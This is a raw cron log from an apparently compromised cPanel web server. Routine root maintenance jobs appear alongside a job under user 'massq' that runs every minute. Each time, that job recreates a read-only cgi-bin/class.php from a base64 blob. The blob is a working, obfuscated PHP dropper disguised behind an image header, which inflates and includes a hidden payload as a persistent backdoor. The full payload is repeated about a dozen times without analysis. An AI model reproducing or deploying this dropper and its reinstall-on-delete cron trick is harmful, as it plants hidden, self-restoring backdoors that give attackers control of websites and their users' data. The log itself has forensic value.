Sep  8 15:52:01 server CROND[27419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:52:01 server CROND[27420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:52:01 server CROND[27422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:53:01 server CROND[27797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:53:01 server CROND[27798]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:53:01 server CROND[27799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:54:01 server CROND[28266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:54:01 server CROND[28267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:54:01 server CROND[28268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:55:01 server CROND[28644]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 15:55:01 server CROND[28645]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:55:01 server CROND[28649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:55:01 server CROND[28647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:55:01 server CROND[28646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:55:01 server CROND[28648]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 15:55:01 server CROND[28650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:56:01 server CROND[29480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:56:01 server CROND[29481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:56:01 server CROND[29482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:57:01 server CROND[29894]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 15:57:01 server CROND[29896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:57:01 server CROND[29897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:57:01 server CROND[29895]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:58:01 server CROND[30279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:58:01 server CROND[30281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:58:01 server CROND[30280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:59:01 server CROND[30763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:59:01 server CROND[30764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:59:01 server CROND[30765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:00:01 server CROND[31160]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 16:00:01 server CROND[31162]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 16:00:01 server CROND[31163]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:00:01 server CROND[31168]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  8 16:00:01 server CROND[31172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:00:01 server CROND[31170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:00:01 server CROND[31173]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 16:00:01 server CROND[31176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:00:01 server CROND[31177]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 16:00:01 server CROND[31169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:01:01 server CROND[32041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:01:01 server CROND[32043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:01:01 server CROND[32044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:01:01 server CROND[32045]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 16:01:01 server run-parts(/etc/cron.hourly)[32045]: starting 0anacron
Sep  8 16:01:01 server run-parts(/etc/cron.hourly)[32065]: finished 0anacron
Sep  8 16:02:01 server CROND[32435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:02:01 server CROND[32434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:02:01 server CROND[32436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:03:01 server CROND[364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:03:01 server CROND[365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:03:01 server CROND[366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:04:01 server CROND[884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
